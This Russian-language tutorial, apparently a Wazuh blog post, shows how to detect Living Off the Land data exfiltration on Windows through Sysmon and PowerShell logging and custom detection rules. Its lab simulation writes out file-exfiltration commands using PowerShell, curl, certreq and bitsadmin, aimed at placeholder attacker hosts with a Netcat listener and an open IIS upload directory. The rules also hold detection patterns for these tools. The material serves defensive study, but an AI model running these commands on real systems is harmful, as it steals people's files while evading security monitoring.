Обнаружение кражи данных с помощью инструментов Living Off the Land с Wazuh

Обнаружение кражи данных является важным аспектом обеспечения кибербезопасности, особенно когда злоумышленники используют встроенные системные инструменты, чтобы избежать обнаружения. Эта методика, известная как Living Off the Land (LOTL), предполагает злоупотребление законными утилитами операционной системы, благодаря чему вредоносная деятельность сливается с обычными операциями.

Группы развитых постоянных угроз (Advanced Persistent Threat, APT) обычно используют методы LOTL, используя доверенные системные инструменты, такие как bitsadmin и certutil, чтобы похищать данные и избегать обнаружения. Эти инструменты являются родными для сред Windows и могут осуществлять сетевые коммуникации, не вызывая подозрений.

Например, злоумышленники могут использовать bitsadmin для создания задач фоновой загрузки, которые скрыто передают конфиденциальные файлы на внешние серверы. certutil может использоваться для кодирования и передачи данных под видом задач управления сертификатами. Аналогичным образом, PowerShell имеет мощные возможности написания скриптов, которые позволяют злоумышленникам собирать, сжимать, шифровать и безопасно передавать файлы, одновременно совмещая их с законной административной деятельностью.

В этой статье показано, как Wazuh может обнаруживать кражу данных, выполненную с помощью инструментов LOTL в среде Windows.

Инфраструктура

Была создана следующая инфраструктура, чтобы продемонстрировать, как Wazuh обнаруживает кражу данных, выполненную с помощью инструментов Living Off the Land.

  • Центральные компоненты последней доступной версии Wazuh (сервер Wazuh, индексатор Wazuh и дешборд Wazuh). Чтобы загрузить и настроить виртуальную машину Wazuh, нужно следовать инструкциям в этом руководстве.
  • Конечный компьютер с Windows 11 и установленным агентом Wazuh. Чтобы установить агент Wazuh, следует обратиться к руководству по установке.
  • Конечный компьютер Windows Server 2019 с запущенной службой интернет-информации (IIS), на котором работает злоумышленник.
  • Конечная точка Ubuntu 22.04 LTS в качестве второй конечной точки злоумышленника.

Конфигурация

Конечная точка

В этом разделе показано, как настроить конечную точку Windows 11 на перенаправление логов Sysmon и PowerShell на сервер Wazuh.

Перенаправление логов Sysmon на сервер Wazuh

Нужно выполнить приведенные ниже действия, чтобы настроить Sysmon на контролируемой конечной точке и перенаправить логи в канале событий Sysmon на сервер Wazuh для анализа.

1. Загрузить Sysmon со страницы Microsoft Sysinternals.

2. Разархивировать загруженный архив Sysmon в выбранный каталог.

3. Загрузить файл конфигурации Sysmon (sysmonconfig.xml) с помощью PowerShell с правами администратора. Заменить <SYSMON_EXECUTABLE_PATH> на директорию, где находится Sysmon:

> wget -Uri https://wazuh.com/resources/blog/emulation-of-attack-techniques-and-detection-with-wazuh/sysmonconfig.xml -OutFile <SYSMON_EXECUTABLE_PATH>\sysmonconfig.xml

4. Перейти в каталог с исполняемым файлом Sysmon и выполнить следующую команду, чтобы установить и запустить Sysmon:

> .\Sysmon64.exe -accepteula -i sysmonconfig.xml

5. Добавить следующую конфигурацию в блок <ossec_config> файла C:\Program Files (x86)\ossec-agent\ossec.conf для перенаправления событий Sysmon на сервер Wazuh:

<localfile>
  <location>Microsoft-Windows-Sysmon/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

6. Перезапустить агент Wazuh, чтобы применить новую конфигурацию:

> Restart-Service -Name wazuh

Пересылка логов PowerShell на сервер Wazuh

Чтобы обнаружить проникновение через PowerShell, необходимо включить и собрать логи PowerShell на контролируемой конечной точке Windows.

Примечание: По умолчанию Windows не собирает подробные данные о выполнении команд в PowerShell из-за повышенного использования системных ресурсов и требований к хранилищу.

1. Запустить PowerShell от имени администратора и выполнить следующие команды, чтобы включить PowerShell и блокировку логов скриптов.

> function Enable-PSLogging {
    # Define registry paths for ScriptBlockLogging and ModuleLogging
    $scriptBlockPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging'
    $moduleLoggingPath = 'HKLM:\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging'
    
    # Enable Script Block Logging
    if (-not (Test-Path $scriptBlockPath)) {
        $null = New-Item $scriptBlockPath -Force
    }
    Set-ItemProperty -Path $scriptBlockPath -Name EnableScriptBlockLogging -Value 1

    # Enable Module Logging
    if (-not (Test-Path $moduleLoggingPath)) {
        $null = New-Item $moduleLoggingPath -Force
    }
    Set-ItemProperty -Path $moduleLoggingPath -Name EnableModuleLogging -Value 1
    
    # Specify modules to log - set to all (*) for comprehensive logging
    $moduleNames = @('*')  # To specify individual modules, replace * with module names in the array
    New-ItemProperty -Path $moduleLoggingPath -Name ModuleNames -PropertyType MultiString -Value $moduleNames -Force

    Write-Output "Script Block Logging and Module Logging have been enabled."
}

> Enable-PSLogging

Ожидаемые результаты приведены ниже:

> Script Block Logging and Module Logging have been enabled.

2. Вставить следующую конфигурацию в блок <ossec_config> файла C:\Program Files (x86)\ossec-agent\ossec.conf для отправки логов PowerShell на сервер Wazuh для анализа.

<localfile>
  <location>Microsoft-Windows-PowerShell/Operational</location>
  <log_format>eventchannel</log_format>
</localfile>

3. Перезагрузите конечную точку, чтобы применить новую конфигурацию:

> Restart-Computer

Сервер Wazuh

В этом разделе будут создаваться правила на сервере Wazuh для обнаружения кражи данных с помощью LOTL на контролируемой конечной точке.

1. Создать файл lotl_data_exfiltration.xml в каталоге /var/ossec/etc/etc/rules/:

# touch /var/ossec/etc/rules/lotl_data_exfiltration.xml

2. Добавить следующие правила в файл /var/ossec/etc/rules/lotl_data_exfiltration.xml:

<group name="lotl,powershell,">

  <rule id="100017" level="8">
    <if_sid>61603</if_sid>
 <field name="win.eventdata.originalFileName" type="pcre2">(?i)(bitsadmin\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(transfer|addfile|upload|http)</field>
    <options>no_full_log</options>
    <description>Exfiltration with Bitadmin identified</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100018" level="8">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(curl\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(curl\s+-T\s+.*C:\\.*http)</field>
    <options>no_full_log</options>
    <description>Exfiltration using Curl detected</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

  <rule id="100019" level="9">
    <if_sid>60009</if_sid>
    <field name="win.eventdata.contextInfo" type="pcre2">(?i)Invoke-WebRequest</field>
    <field name="win.eventdata.payload" type="pcre2">(?i)(Uri|http|Post|InFile|C:\\)</field>
    <description>Possible Powershell data exfiltration detected .</description>
    <mitre>
      <id>T1059.001</id>
      <id>T1567.002</id>
    </mitre>
  </rule>
 
  <rule id="100020" level="9">
    <if_sid>61603</if_sid>
    <field name="win.eventdata.originalFileName" type="pcre2">(?i)(certreq\.exe)</field>
    <field name="win.eventdata.commandLine" type="pcre2">(?i)(post|config|http|C:\\)</field>
    <options>no_full_log</options>
    <description>Possible data exfiltration using Certreq detected</description>
    <mitre>
      <id>T1102</id>
      <id>T1567.002</id>
    </mitre>
  </rule>

</group>

Где:

  • Правило с ID 100017 обнаруживает кражу данных через bitsadmin.
  • Правило с ID 100018 обнаруживает похищение данных с помощью curl.
  • Правило с ID 100019 обнаруживает возможное похищение данных через PowerShell.
  • Правило с ID 100020 обнаруживает похищение данных с использованием certreq.

3. Перезапустить менеджер Wazuh, чтобы применить изменения конфигурации:

# systemctl restart wazuh-manager

Симуляция атаки

Эта симуляция атаки показывает, как можно обнаружить похищение данных с помощью Wazuh. Для передачи данных используются инструменты Netcat, PowerShell, curl, certreq и bitsadmin. Для проверки конфигураций необходимо выполнить следующие действия.

Примечание: Это следует делать только в контролируемой среде.

Настройка прослушивателя Netcat на конечной точке Ubuntu

Следует выполнить приведенные ниже шаги, чтобы настроить прослушиватель Netcat на конечной точке Ubuntu. Это необходимо для имитации атаки на кражу данных. Атака будет направлена на конечную точку Windows.

1. Настроить прослушиватель Netcat на любом выбранном порту с помощью команды ниже. Заменить <LISTENER_PORT> выбранным портом для прослушивания.

# nc -lvp <LISTENER_PORT>

2. Похищенные данные также можно записать в файл с помощью команды:

# nc -lvp <LISTENER_PORT> > FILE.txt

Где:

  • l: Прослушивает входящие соединения.
  • p: Указывает порт для прослушивания.
  • v: Предоставляет развернутый вывод соединения.
  • <LISTENER_PORT>: Указывает порт, на котором Netcat осуществляет прослушивание.

Настройка прослушивателя bitsadmin на сервере Windows

bitsadmin не поддерживает стандартные Netcat или базовые веб-сервера в качестве прослушивателей или клиентов, поэтому необходимо настроить сервер Internet Information Services (IIS). Он будет получать файлы, переданные через службу фоновой интеллектуальной передачи (Background Intelligent Transfer Service, BITS).

Следует выполнить эти шаги, чтобы настроить сервер прослушивания bitsadmin на сервере Windows:

1. Открыть Server Manager и нажать Add roles and features в разделе Dashboard. Нажать Next и убедиться, что в разделе Installation Type выбрано Role-based or Feature-based. Нажать Next.

2. В разделе Server Selection выбрать сервер, на который нужно установить роли и функции, и нажать Next.

3. В разделе Server Roles выбрать Web Server (IIS) и нажать Next. В разделе Features выбрать Background Intelligent Transfer Service (BITS) и нажать Add Features и Next, чтобы установить выбранную роль и функцию.

4. После установки IIS и BITS следует открыть Internet Information Services (IS) Manager, развернуть узел сервера на панели Connections и выбрать Default Web Site.

5. Дважды щелкнуть BITS Uploads в разделе Other панели Features View, чтобы открыть его конфигурацию. Выбрать Allow clients to upload files и нажать Apply на правой панели. В этой статье используются настройки по умолчанию, однако при необходимости можно настроить такие параметры, как лимиты на передачу и параметры аутентификации.

6. Создать каталог в любом нужном месте на конечной точке. В этой статье создан каталог C:\Users\Administrator\Desktop\uploads.

7. Перейти в каталог, щелкнуть на нем правой кнопкой мыши и выбрать Properties. Перейти на вкладку Security и добавить определенных пользователей или группы с необходимыми разрешениями, если нужно.

Примечание: Для целей этой демонстрации настраивается каталог C:\Users\Administrator\Desktop\uploads так, чтобы он был доступным для всех, чтобы разрешить BIT передавать файлы наружу.

8. Щелкнуть правой кнопкой мыши на папке C:\Users\Administrator\Desktop\uploads, выбрать Properties, перейти на вкладку Security, нажать Edit, чтобы изменить разрешения, нажать Add в окне Permissions и ввести “Everyone”.

9. Щелкнуть Check Names, нажать ОК, предоставить права на Modify, Write и Read для Everyone, чтобы разрешить любому загружать и просматривать файлы, а затем нажать Apply и ОК.

10. После возвращения в Internet Information Services (IIS), щелкнуть правой кнопкой мыши на Default Web Site на панели Connections и выбрать Add Virtual Directory. В текстовом поле Alias ввести ‘uploads‘. Под Physical path ввести ранее созданный каталог C:\Users\Administrator\Desktop\uploads.

11. В Features View дважды щелкнуть Directory Browsing, чтобы включить его, если он еще не включен.

12. В Features View дважды щелкнуть Authentication и убедиться, что включена Anonymous Authentication, чтобы разрешить загрузку файлов без входа в систему.

13. Наконец, проверьте функцию загрузки файлов, зайдя на веб-сайт через браузер, используя IP-адрес или доменное имя.

Заменить <ATTACKER_SERVER_IP_ADDRESS> на IP-адрес сервера IIS злоумышленника.

http://<ATTACKER_SERVER_IP_ADDRESS>/uploads

Где:

  • <ATTACKER_SERVER_IP_ADDRESS>: Указывает IP-адрес второго устройства злоумышленника, на котором запущен сервер IIS.
  • uploads: Указывает каталог, в котором будут храниться похищенные или переданные файлы.

Выполнение атак на похищение данных и их обнаружение с помощью Wazuh

После активации прослушивателя следует выполнить атаки на конечную точку Windows с целью похищения данных.

Похищение данных с помощью PowerShell

PowerShell – это мощный язык скриптов, встроенный в Windows, который обычно используется для автоматизации и системного администрирования. Однако его глубокая интеграция с операционной системой (ОС) и способность выполнять команды, не вызывая антивирусных уведомлений, делают его ценным инструментом для злоумышленников. Киберпреступники используют PowerShell на различных этапах атаки, включая разведку, повышение привилегий и похищение данных. Обнаружение вредоносной активности является сложной задачей, поскольку PowerShell работает в доверенных системных процессах.

1. Запустить приведенную ниже команду на конечной точке Windows, чтобы с помощью Powershell похитить простой текстовый файл.

> Invoke-WebRequest -Uri "http://<ATTACKER_IP>:<LISTENER_PORT>" -Method Post -InFile "<PATH_TO_TEST_FILE>\Test_file.txt"

Где:

  • -Uri: Указывает целевой URL-адрес, на который отправляется запрос.
  • <ATTACKER_IP>: IP-адрес устройства злоумышленника в Ubuntu.
  • <LISTENER_PORT>: Указывает порт, на котором Netcat осуществляет прослушивание.
  • -InFile: Указывает файл, который нужно похитить.
  • -Method Post: Указывает, что методом HTTP-запроса является POST, который обычно используется для загрузки данных.
  • <PATH_TO_TEST_FILE>\Test_file.txt: Это локальный путь к файлу, который пытаются похитить.

2. Убедиться, что похищенные данные перехвачены прослушивателем Netcat, запущенным на устройстве злоумышленника с Ubuntu.

3. При выполнении команды на дешборде Wazuh появляется следующее уведомление.

data-exfiltration-using-powershell

Похищение данных с помощью curl

curl (Client URL) – это инструмент командной строки, используемый для передачи данных по различным сетевым протоколам, включая HTTP, HTTPS, FTP и SCP. Он широко используется для автоматизации, взаимодействия с API и передачи файлов. Благодаря своей универсальности и способности взаимодействовать с удаленными серверами, curl используется для злонамеренных действий, таких как загрузка вредоносных файлов и кража конфиденциальных данных. Поскольку это легальный инструмент, доступный в большинстве операционных систем, его злоупотребление часто может оставаться необнаруженным с помощью традиционных мер безопасности.

1. Когда прослушиватель Netcat активен, следует запустить приведенную ниже команду, чтобы похитить другой файл с помощью curl в командной строке:

> curl  -T "<PATH_TO_TEST_FILE>\Test_file.txt" http://<ATTACKER_IP>:<LISTENER_PORT>

Где:

  • -T: Указывает системе передать/загрузить файл
  • <PATH_TO_TEST_FILE>\Test_file.txt: локальный путь к файлу, который пытаются похитить.
  • <ATTACKER_IP>: IP-адрес устройства злоумышленника в Ubuntu.
  • <LISTENER_PORT>: указывает порт, на котором Netcat осуществляет прослушивание.

2. Убедиться, что похищенные данные успешно получены прослушивателем Netcat на компьютере злоумышленника Ubuntu.

3. При выполнении команды на дешборде Wazuh появится следующее предупреждение.

data-exfiltration-using-curl

Похищение данных с помощью certreq

certreq – это инструмент командной строки Windows, который используется для создания, отправки и управления запросами на подписание сертификатов (Certificate Signing Requests, CSR) для среды инфраструктуры открытых ключей (Public Key Infrastructure, PKI). Он помогает генерировать CSR на основе уже существующего приватного ключа, отправлять их в центр сертификации (Certification Authority, CA) для подписания, а также получать и устанавливать подписанный сертификат. certreq обычно доверяют для легитимного управления сертификатами, а злоумышленники могут использовать его как скрытый канал для кражи данных из сети.

1. Запустить следующую команду, чтобы протестировать сценарий кражи данных с помощью certreq.

> certreq -Post -config http://<ATTACKER_IP>:<LISTENER_PORT> <PATH_TO_TEST_FILE>\Test_file.txt

Где:

  • -Post: Указывает, что запрос отправляется на сервер (в этом случае на устройство злоумышленника).
  • config: Указывает URL-адрес сервера, который будет обрабатывать запрос на сертификат.
  • <ATTACKER_IP>: IP-адрес устройства злоумышленника Ubuntu.
  • <LISTENER_PORT>: Указывает порт, на котором Netcat осуществляет прослушивание.
  • <PATH_TO_TEST_FILE>\Test_file.txt: локальный путь к файлу, который пытаются похитить.

2. Убедиться, что похищенные данные были успешно получены прослушивателем Netcat на системе злоумышленника Ubuntu.

3. После выполнения команды дешборд Wazuh выдаст следующее предупреждение.

data-exfiltration-using-certreq

Кража данных с помощью bitsadmin

bitsadmin – это утилита командной строки для управления службой фоновой интеллектуальной передачи данных (Background Intelligent Transfer Service, BITS) в Windows. В основном она используется для фоновой загрузки файлов, таких как системные обновления, минимизируя при этом сбои в работе сети. Однако киберпреступники используют bitsadmin для злонамеренных действий, в частности для распространения вредоносного программного обеспечения, выполнения удаленных команд и кражи конфиденциальных данных. BITS является встроенной и надежной службой Windows, ее использование часто позволяет обойти обычные средства защиты.

1. Запустите команду ниже, чтобы смоделировать сценарий кражи данных с помощью bitsadmin.

> bitsadmin /transfer "TEST-JOB" /upload  http://<ATTACKER_SERVER_IP_ADDRESS>/uploads/Test_file.txt <PATH_TO_TEST_FILE>\Test_file.txt

Где:

  • /Transfer: Указывает новое задание BITS с названием “TEST-JOB”.
  • /upload: Указывает, что задание является операцией загрузки, передавая файл с локальной машины (конечной точки Windows) на удаленный сервер (второе устройство злоумышленника)
  • <ATTACKER_SERVER_IP_ADDRESS>/uploads/Test_file.txt: Указывает URL-адрес назначения, на который будет загружен файл.
  • <PATH_TO_TEST_FILE>\Test_file.txt: Локальный путь к файлу, который будет удален.

2. Стоит убедиться, что данные были успешно отправлены конечной точкой Windows. В случае успеха ожидается аналогичный вывод, как показано ниже.

DISPLAY: 'TEST-JOB' TYPE: UPLOAD STATE: TRANSFERRED
PRIORITY: NORMAL FILES: 1 / 1 BYTES: 41 / 41 (100%)
Transfer complete.

3. После выполнения команды похищения данных на первом шаге на дешборде Wazuh появляется следующее уведомление.

data-exfiltration-using-bitsadmin

Вывод

Методы Living Off the Land (LOTL) затрудняют обнаружение кражи данных, поскольку злоумышленники используют легальные системные инструменты для обхода средств контроля безопасности. В этой статье были смоделированы сценарии кражи данных и показано, как их можно обнаружить с помощью Wazuh.

Wazuh – это платформа безопасности с открытым исходным кодом, предоставляющая широкий спектр возможностей для мониторинга и защиты инфраструктуры от злонамеренных действий. Чтобы узнать больше о Wazuh и его возможностях, просмотрите наши статьи в блоге и присоединяйтесь к официальному сообществу Slack.

Подписаться на новости